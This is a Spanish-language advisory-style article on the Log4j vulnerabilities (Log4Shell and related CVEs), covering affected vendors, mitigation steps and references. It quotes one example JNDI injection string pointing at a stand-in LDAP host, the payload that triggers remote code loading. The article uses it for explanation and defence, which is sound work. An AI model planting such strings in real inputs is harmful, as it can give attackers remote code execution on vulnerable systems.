¿Qué es Apache Log4j?
Apache Log4j es una librería para la gestión de logs, mantenida por un grupo pequeño de personas dentro de Apache Foundation. Por lo general los logs únicamente son almacenados en archivos de texto o en bases de datos, esta librería es usada en millones de aplicaciones y sitios web en todo el internet.
¿Cuál es el problema?
Log4J siendo una librería para la gestión de logs, posee funciones avanzadas para la automatización de ciertas tareas para facilitar su uso, entre estas la carga de clases remotas mediante la interfaz de nombrado y directorio Java (JNDI por sus siglas en inglés) en los casos más comunes un atacante puede crear un servidor LDAP malicioso para enviar instrucciones al equipo vulnerable y obtener acceso a la información o tomar control del equipo. Lo único que se requiere es una cadena de caracteres simple como:
$\{jndi:ldap://example.com/a\}
y sería suficiente para iniciar la función y la ejecución del código.
La forma en la que estas cadenas de caracteres pueden ser enviadas dependerá de cada programa y equipo, siempre y cuando Log4j detecte la cadena, esta será ejecutada, ya sea mediante la carga de un sitio web, un error generado, un archivo recibido, etc. Las posibilidades son muchas.
Vulnerabilidades
Una serie de vulnerabilidades han surgido con respecto a la librería Log4j las cuales se detallan el cómo se ven afectados los sistemas con cada una.
CVE-2021-44228
Registrado: noviembre 26 2021
Las versiones de Log4j desde la versión 2.15.0 y anteriores utilizan características de JNDI por defecto lo cual permite que ceritas cadenas de texto sean procesadas y ejecutadas de manera remota mediante servidores LDAP. Un atacante puede robar información o tomar control del equipo.
CVE-2021-4104
Registrado: diciembre 13 2021
JMSAppender en Log4j 1.2 es vulnerable a la deserialización de datos no confiables cuando el atacante tiene acceso a la configuración de Log4j. El atacante puede proveer las configuraciones de TopicBindingName y TopicConnectionFactoryBindingName causando que se procesen peticiones JNDI de manera similar a CVE-2021-44228. Esta configuración solo afecta a Log4j 1.2 en una configuración especifica que no es por defecto. Log4j 1.2 terminó su soporte en agosto 2015. Los usuarios deben actualizar a una nueva versión.
CVE-2021-45046
Registrado: diciembre 14 2021
Se detectó que la actualización para resolver CVE-2021-44228 en Apache Log4j 2.15.0 o anterior se encontraba incompleta debido a ciertos parámetros por defecto lo cual permite que se dé fuga de información y se permita ejecución de código remoto en ciertos ambientes específicos.
CVE-2021-45105
Registrado: diciembre 16 2021
Las versiones de Log4j desde 2.16.0 y anteriores (excluyendo 2.12.3) no cuentan con protección ante la recursividad en las búsquedas referenciales, esto permite que un atacante genere una denegación de servicio (DoS) cuando una cadena especifica es interpretada. Esto fue arreglado en las versiones de Log4j 2.17.0 y 2.12.3.
CVE-2021-44832
Registrado: diciembre 28 2021
Las verisones de Log4j2 desde 2.0-beta7 hasta 2.17.0 (excluyendo las versiones 2.3.2 y 2.12.4) son vulnerables a ejecución de código remoto cuando la configuración anexa un JDBC que utiliza JNDI LDAP como fuente del cual el atacante tenga control sobre el servidor LDAP. Esto fue corregido en las versiones 2.17.1,2.12.4 y 2.3.2
Entonces, si no uso apache, ¿No hay problema?
Eso no es del todo cierto, si bien Apache Log4j es una librería mantenida por Apache Foundation, esta librería es en base a java y ha sido adoptada por múltiples sistemas en todo el mundo online y offline, desde Servidores web, servicios de internet (Amazon, Netflix, Azure), dispositivos de red (Fortinet, Palo Alto), servicios de virtualización (VMWare), entre muchos otros.
Puedes ver una lista de las declaraciones de los fabricantes aquí.
¿Qué puedo hacer?
Lo primero que debes hacer es identificar todas las aplicaciones y dispositivos vulnerables, consulta con el fabricante o consulta la lista de declaraciones antes mencionada, la cual se actualiza constantemente, para saber las recomendaciones de manera oficial, algunos requerirán de actualizaciones, otros pueden ser cambios en la configuración, en caso de servicios en la nube es cuestión de que el proveedor aplique las remediaciones respectivas.
En caso seas desarrollador y utilices la librería directamente, actualiza a la versión más reciente de Log4j, así también como aplicar las configuraciones recomendadas para evitar el problema las cuales puedes ver aquí.
Las formas de mitigación deben ocurrir en cada sistema, no debemos asumir que solo las aplicaciones o equipos expuestos en internet son afectados, pueden existir procesos que ocurran una vez cada hora, cada semana, cada mes, etc., y que procesen datos que contengan la cadena en cuestión, se vean afectados y comprometan toda la red.
Referencias
Apache Log4j Security Vulnerabilities
https://logging.apache.org/log4j/2.x/security.html
CISA Log4j (CVE-2021-44228) Vulnerability Guidance
https://github.com/cisagov/log4j-affected-db
Everyperson’s Guide to Log4Shell (CVE-2021-44228)
https://www.rapid7.com/blog/post/2021/12/15/the-everypersons-guide-to-log4shell-cve-2021-44228/
Log4Shell: vulnerabilidad 0day de ejecución remota de código en Apache Log4j
https://www.incibe-cert.es/alerta-temprana/avisos-seguridad/log4shell-vulnerabilidad-0day-ejecucion-remota-codigo-apache-log4j
Widespread Exploitation of Critical Remote Code Execution in Apache Log4j
https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/